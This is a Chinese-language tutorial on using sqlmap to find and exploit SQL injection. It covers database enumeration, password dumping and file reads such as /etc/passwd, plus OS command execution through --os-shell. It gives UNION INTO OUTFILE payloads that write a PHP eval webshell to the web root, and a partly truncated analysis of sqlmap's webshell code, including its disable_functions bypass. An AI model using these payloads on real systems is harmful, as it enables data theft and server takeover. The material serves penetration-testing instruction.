自动化SQL注入工具 sqlmap 使用手册
阅读原文时间:2021年11月09日阅读:1

0x00 sqlmap介绍

什么是sqlmap?

sqlmap是一个开源的渗透测试工具,它自动化了检测和利用SQL注入缺陷 以及接管数据库服务器的过程。它配备了一个强大的检测引擎 ,以及终极渗透测试仪中的许多小众功能,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取完全操作权限时执行任意命令。

开发语言: Python

sqlmap目前支持的数据库共 25

全面支持 MySQL, Oracle , Microsoft SQL Server , Microsoft Access , PostgreSQL , IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso 数据库。

强大的 sqlmap有哪些功能?

  1. 判断可注入的参数

  2. 判断可以用那种SQL注入技术来注入

  3. 识别出哪种数据库

  4. 根据用户的选择,读取哪些数据

  5. 可执行情况

  6. 当前数据库用户名称和拥有的权限

  7. 发现WEB虚拟目录

  8. 上传 getshel

  9. 绕过防火墙

sqlmap的基本工作流程

当给 sqlmap这么一个url的时候,它会

  1. 检测网站是否能够访问

  2. 检测是否有Waf

  3. 判断可注入的参数

  4. 判断可以用那种SQL注入技术来注入

  5. 识别出哪种数据库

  6. 根据用户输入的参数,进行操作

sqlmap支持的 六种 不同注入模式

  1. 基于布尔盲注 :即可以根据返回页面判断条件真假的注入。

  2. 基于时间盲注 :即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间)来判断。

  3. 基于报错注入 :即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  4. 联合查询注入 :可以使用 union的情况下的注入。

  5. 堆查询注入 :可以同时执行多条语句的执行时的注入。

  6. 内联查询注入 :在Sql语句中执行sql语句。

0x01 sqlmap安装

相关官方网址集合

sqlmap官网https://sqlmap.org

sqlmap Githubhttps://github.com/sqlmapproject/sqlmap/wiki

Python 官网https://www.python.org/

Kali系统官网https://www.kali.org/

windows系统安装

  1. sqlmap是基于Python开发的,所以要有Python环境。在python官网https://www.python.org下载与自己操作系统匹的环境,并安装。**注意:老版本SqlMap 2.6≤所需Pyhton版本<3.0** ,最新版本SqlMap1.5.9已经支持Python3

  2. 将 sqlmap从官网上下载下来,并安装到 python的运行目录下。在 sqlmap的目录中,创建一个cmd的快捷方式,并改名为

    sqlmap,双击便可直接运行。

  3. 输入执行 sqlmap. py -h 若显示一下界面,说明安装完成

Linux系统安装

  • 安装Kali系统自带SqlMap无需任何配置即可使用,或者去 sqlmap官网 自行下载linux版本安装包

0x02 sqlmap基本使用

  • GET提交方式

    检测url是否存在注入

    python sqlmap.py -u [url]

    获取所有的表名

    python sqlmap.py -u [url] --dbs

    获取当前的库名

    python sqlmap.py -u [url] --current-db

    获取当前连接数据库的用户名

    python sqlmap.py -u [url] --current-user

    获取指定库的所有表名 -D 指定数据库

    python sqlmap.py -u [url] -D security --tables

    获取指定库指定表的字段名 -T 指定表名

    python sqlmap.py -u [url] -D security -T users --columns

    获取指定库指定表指定字段的数据 -C 指定字段名

    python sqlmap.py -u [url] -D security -T users -C id,username,password --dump

    sqlmap历史记录:

    windows:C:\Userstest\AppData\Local\sqlmap

    Linux: /home/test/.sqlmap or /root/.sqlmap

    清除缓存进行注入 (删除sqlmap的output文件夹也可清楚缓存)

    python sqlmap.py -u [url] --purge

    刷新目标的存储在sqlmap的session文件-清缓存

    python sqlmap.py -u [url] --flush-session

    自动填充选择Y,跳过询问

    python sqlmap.py -u [url] --batch

  • POST 提交方式

    python sqlmap.py -u [url] --data "uname=admin&passwd=admin"

    1.txt是抓取的POST请求头文件,可用 -p 指定参数,如下命令指定uname为参数

    python sqlmap.py -r 1.txt -p uname

    1.txt是抓取的POST请求头文件,可在文件中用标记注入位置,例如uname=admin&passwd=admin,标记uname为注入位置

    python sqlmap.py -r 1.txt

0x03 sqlmap参数说明

  • 常用参数

    测试注入点权限

    python sqlmap.py -u [url] --privileges //测试所有用户的权限
    python sqlmap.py -u [url] --privileges -U sa //测试sa用户的权限
    python sqlmap.py -u [url] --roles //测试所有用户的权限

    说明:当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。

    通过用户权限可以判断哪些用户是管理员

    #** ** 注意:若目标是MSSql数据库,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。

    利用注入注入点执行Shell命令

    python sqlmap.py -u [url] --os-cmd="net user" // windows系统执行net user命令
    python sqlmap.py -u [url] --os-shell // linux系统交互式shell

    危害:用-os-shel命令可以模拟一个真实的shell,可以使用 INTO OUTFILE写进可写目录,创建一个web后门。

    注意:1.需要有权限使用特定函数 2.数据库为mysql、postgresql和sqlserver

    枚举数据库的用户名和密码

    python sqlmap.py -u [url] --users --passwords

    控制sqlmap的输出信息,从简到繁,从0-6共分为7个级别,默认的输出级别为1

    0:只显示 python的回溯、错误和关键信息

    1:显示信息和警告消息

    2:显示调试信息

    3:显示注入使用的攻击载荷

    4:显示HTTP请求

    5:显示HTTP响应头

    6:显示HTTP相应页面的内容

    python sqlmap.py -u [url] -v 3

    探测等级 --level

    SqlMap一共有5个探测等级,默认是1,使用的Payload可以在xml/payloads.xml看到,也可以根据相应格式自定义payload

    level1:对GET和POST的数据进行测试

    level2:会对 Http cookie进行测试

    level3:会对 Http User-agent/ Referer头进行测试

    level4-5:测试的更加全面,同时测试的速度会更慢

    #注意:在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值
    python sqlmap.py -u [url] --level 3

    判断当前用户是否为管理员权限

    #说明:该命令用于査看当前账户是否为数据库管理员账户。

    这个命令有时候决定了你是否可以在服务器下进行写的操作,是否有写的权限,代表你是否可以在服务器上面写入一句话木马

    结果:如果是管理员会返回Ture,否则返回 False

    python sqlmap.py -u [url] --is-dba

    读取文件内容,批量检测url

    python sqlmap.py -m url.txt --batch

    指定cookie

    说明:当需要对cookie注入的时候,必须使用--cookie选项,--data ""

    因为post的数据长度为0,但是又想使用post方法进行注入,则使用--data "",使用--data选项后, sqlmap自动使用post方法。

    注意:

    1. sqlmap不支持使用--method指定http请求的方法

    2. 默认不扫cookie的内容,必须是level大于等于2才能扫cookie里的内容

    3. cookie默认的分隔符为";"

    python sqlmap.py -u [url] --cookie="SESSIONID=xxxx;NAME=ichunqiu;" --level 2 --data ""

    指定User-Agent

    说明:参数"--user-agent" 可以指定一个User-Agent值。

    参数"--random-agent", Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent

    注意:

    1. 在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。

    2. 必须是level大于等于3才会尝试对User-Agent注入

    python sqlmap.py -u [url] --user-agent="Mozilla/5.0" //指定UA头
    python sqlmap.py -u [url] --random-agent //从txt字典内随机指定UA头

    指定 Referer

    说明:可以在请求中伪造HTTP中的referer,Sqlmap发送的HTTP请求头部默认无Referer字段。

    注意:必须是level大于等于3才会尝试对referer注入

    python sqlmap.py -u [url] --referer "http://www.baidu.com" //指定referer

  • 进阶参数

    指定注入模式 T-time/U-union/E-error/B-bool

    python sqlmap.py -u [url] --technique T/U/E/B

    使用时间盲注指定延时时间为5s

    python sqlmap.py -u [url] --technique T --time-sec 5

    指定代理

    python sqlmap.py -u [url] --proxy=http://127.0.0.1:8080

    指定发包间隔时间为5

    python sqlmap.py -u url --delay 5

    指定线程数

    python sqlmap.py -u [url] --threads 3

    使用googledork(google hacking语法)

    python sqlmap.py -g inurl:.php?id=

    指定数据库类型

    python sqlmap.py -u [url] --dbms=mysql

    使用更多的语句测试url是否存在注入 1-3,3个等级

    python sqlmap.py -u [url] --risk 2

    通过sql注入漏洞获取数据所有信息 包括库名 dba 用户 密码等

    python sqlmap.py -u [url] -a

    获取数据库banner信息

    python sqlmap.py -u [url] -b

    dump转存所有数据库内的数据

    python sqlmap.py -u [url] --dump-all

    获取一个外带shell,需要第三方模块支持

    python sqlmap.py -u [url] --os-pwn

    给予用户接口让其手动选择

    python sqlmap.py -u [url] --wizard

0x04 sqlmap目录结构

  • doc 目录:包含 sqlmap的简要说明,具体使用说明、作者信息等。

  • extra 目录:包含了 sqlmap的额外功能,例如发出声响、运行cmd、安全执行等。例如-beep参数。

  • lib 目录:sqlmap核心目录。

  • plugins 目录:包含了 sqlmap目前支持的25种数据库信息和数据库通用事项。

  • tamper 目录:这里包含了各种辅助脚本,比如常见的waf绕过脚本。

  • thirdparty 目录:包含了第三方插件,例如优化、保持连接、颜色。

  • data 目录:

  • procs 目录:包含了 mssql、 mysql、 oracle、 postgresql的触发程序。

  • shell 目录:包含了注入成功后的8种shell远程命令执行。

  • txt 目录:包含了表名字典,列名字典,UA字典等。

  • udf 目录:涉及UDF提权相关的文件。

  • xml 目录:存放多种数据库注入检测的 payload等信息。

0x05 sqlmap 执行SQL

  1. 执行指定SQL语句

    python sqlmap.py -u [url] --sql-query="select version()"

    说明:该命令直接执行指定的SQL语句

  2. 交互式的SQL命令行

    python sqlmap.py -u [url] --sql-shell

    说明:该参数可直接获得交互式的SQL命令shell,我们可以在此直接输入想要执行的SQL语句并实时取得回显,输入x或者q退出

    注意:执行的语句与注入点的类型相关

  3. 执行文件中的SQL语句

    python sqlmap.py -u [url] --sql-file="/home/wu/Desktop/1.sql"

    说明:参数可以直接执行SQL文件中的语句

    举例:新建一个SQL文件,如:1.sql ,内容为: select version();select @@datadir;

0x06 sqlmap文件操作

危害与防御

  • 了解SQL注入可以进行文件读写操作带来的危害

  • 如果当前web页面存在SQL注入漏洞,且当前的用户是root权限,且可以进行文件读写操作。

  • 我们可以在知道绝对路径的情况下,尝试上传一个一句话木马,并用菜刀连接后,获取到网站的 getshell。

  • SQL注入导致的文件读写的防御方法

  • 将 secure-file-priv的参数在 my.ini中配置为 secure-file-priv=null将会限制 mysqld不允许导入导出操作。

  • secure-file-priv可以通过 select @@secure_file_priv;查询得到。

  • 在用户输入可控参数时,对敏感语句进行过滤。

读文件

  • 满足以下条件
  1. 有读文件权限

secure-file-priv (show variables)

要么禁用,要么设置了路径 // show variables like '%secure%'

目录权限

对于mysql来说,有可以对某个目录进行读写的权限

Selinux

是2.6版本的 Linux内核中提供的强制访问控制(MAC)系统

apparmor

AppArmor是一个高效和易于使用的 Linux系统安全应用程序

  1. max allowed packed //读写文件最大的字节数

  2. 知道绝对路径

  3. 文件必须在服务器上存在

如何查看 secure-file-priv的值:select @@secure_file_priv

  • 利用mysql的 load_file 函数

    load_file('c://windows//win.ini')
    load_file('c://windows//win.ini')
    load_file('c:\windows\win.ini')
    load_file('/etc/passwd')
    load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69)
    load_file(char(99,58,47,47,119,105,110,100,111,119,115,47,47,19,105,110,46,105,110,105))
    hex(load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69))

  • 读取文件

    说明:该命令用于读取执行文件,读取的文件可以是文本,也可以是二进制文件

    原理:利用mysq的 load_file函数,如:load_file('c://windows//win.ini')

    python sqlmap.py -u [url] --file-read "/etc/passwd"

写文件

  • 满足以下条件
  1. 有写文件权限

secure-file-priv (show variables)

要么禁用,要么设置了路径 // show variables like '%secure%'

目录权限

对于mysql来说,有可以对某个目录进行读写的权限

Selinux

是2.6版本的 Linux内核中提供的强制访问控制(MAC)系统

apparmor

AppArmor是一个高效和易于使用的 Linux系统安全应用程序

  1. 知道绝对路径

  2. 必须能绕过单引号过滤

  • 利用mysql的 outfile 和dumpfile函数

outfile 函数:可写多行,数据格式可能会受操作系统影响

dumpfile 函数:可写单行,数据格式不会受操作系统影响

union select 1, 2, 'aaa' into outfile 'C:\\phpstudy pro\\www\\test1.txt'
union select 1, 2, 'aaa' into dumpfile 'C:/phpstudy pro/www/test1.txt'
union select 1, 2, 0x616161 into dumpfile 'C:\\phpstudy_pro\\www\\test3.txt'
union select 1, 2, CHAR(97, 97, 97) into dumpfile 'C:\\phpstudy_pro\\test4.txt'
union select 1, 2, into outfile 'c://1.php' fields terminated by '123'
union select 1, 2, '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'
union select 1, 2, 0x3c3f706870206576616C28245f504 into outfile '/var/www/html/shell.php'
  • 上传文件

    用法:sqlmap -u [URL] --file-write "写入本地文件的地" --file-dest "要写入的文件绝对路径"

    说明:该命令用于写入本地文件到服务器中,上传的文件可以是文本,也可以是二进制文件

    原理:利用mysql的outfile或dumpfile函数

    如:union select1,2,'aa' into outfile 'C:\phpstudy_pro\www\test\1.txt'

    python sqlmap.py -u [url] --file-write "c:/123.txt" --file-dest "C:/phpstudy_pro/www/test.php"

  • 执行命令

    参数:--os-cmd/-os-shell

    说明:用于写入 webshell到服务器中,然后利用webshell执行命令

    原理:利用mysql的outfile 和dumpfile等写文件函数

    python sqlmap.py -u [url] --os-cmd="net user" // windows系统执行net user命令
    python sqlmap.py -u [url] --os-shell // linux系统交互式shell

0x07 os-shell原理分析

分析sqlmap --os-shell原理(简单分析写入的php文件)

  1. 生成一个带有上传功能 的小马 tmpuvbhi.php,写到目标机指定目录

执行效果:

小马代码截图:

小马简单分析:

当上传upload的值非空时,获取上传目录路径,根据php版本不同,选择合适的HTTP 文件上传变量 来接收。若php < 4.1.0,使用$HTTP_POST_FILES,否则使用$_FILES

  1. 当sqlmap 使用 --os-shell时,会利用这个带有上传功能的小马 tmpuvbhi.php来上传一个带有命令执行功能 的大马

大马代码截图:

大马简单分析:

  • 涉及的函数:

    set_time_limit() //设置脚本最大执行时间,单位为秒。如果设置为0,没有时间方面的限制。
    ignore_user_abort() //设置客户端断开连接时是否中断脚本的执行,默认为false,若为true时,脚本将一直保持运行
    ini_set() //是php自带的用来修改设置php.ini配置文件的函数
    ini_get() //和ini_set相反,用来获取php.ini文件里的环境变量的值
    preg_replace() //执行一个正则表达式的搜索和替换
    explode() //使用一个字符串分割另一个字符串
    array_map() //为数组的每个元素应用回调函数
    trim() //去除字符串首尾处的空白字符(或其他字符)

  • disable_functions

  • 为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。

  • disable_functions其实是一个黑名单机制,我们可以通过观察是否存在可利用的漏网之鱼,直接通过其实现绕过即可。

  • 常规绕过:exec,shell_exec,system,passthru,popen,proc_open

  • 更多详细绕过姿势参考下方:https://baijiahao.baidu.com/s?id=1659386031704746677&wfr=spider&for=pc

  • 2>&1

  • 程序运行后会打开三个文件描述符,分别是标准输入0,标准输出1和标准错误输出2。

  • 在调用脚本时,可使用2>&1来将标准错误输出重定向到标准输出。

  • 只需要查看脚本的错误时,可将标准输出重定向到文件,而标准错误会打印在控制台,便于查看。

  • >> log.txt会将重定向内容追加到log.txt文件末尾。

  • 通过查看/proc/进程id/fd下的内容,可了解进程打开的文件描述符信息。

  • 过程简单分析:

    &1\n"; //标准错误输出重定向到标准输出 function f($n){ global $z; return is_callable($n)and!in_array($n,$z); } //常规绕过disable_functions:exec,shell_exec,system,passthru,popen,proc_open //下面就是通过一个多分分支语句,一个一个尝试,看是否可以绕过 if(f("system")) { ob_start(); system($c); $w=ob_get_clean(); }elseif(f("proc_open")){ $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); $w=NULL; while(!feof($t[1])) { $w.=fread($t[1],512); } @proc_close($y); }elseif(f("shell_exec")){ $w=shell_exec($c); }elseif(f("passthru")){ ob_start(); passthru($c); $w=ob_get_clean(); }elseif(f("popen")){ $x=popen($c,r); $w=NULL; if(is_resource($x)) { while(!feof($x)) { $w.=fread($x,512); } } @pclose($x); }elseif(f("exec")){ $w=array(); exec($c,$w); $w=join(chr(10),$w).chr(10); }else{ $w=0; } echo"
    $w
    "; ?>
  • 断开连接自动删马

当 --os-shell退出连接后,目标机中的小马和大马会自动删除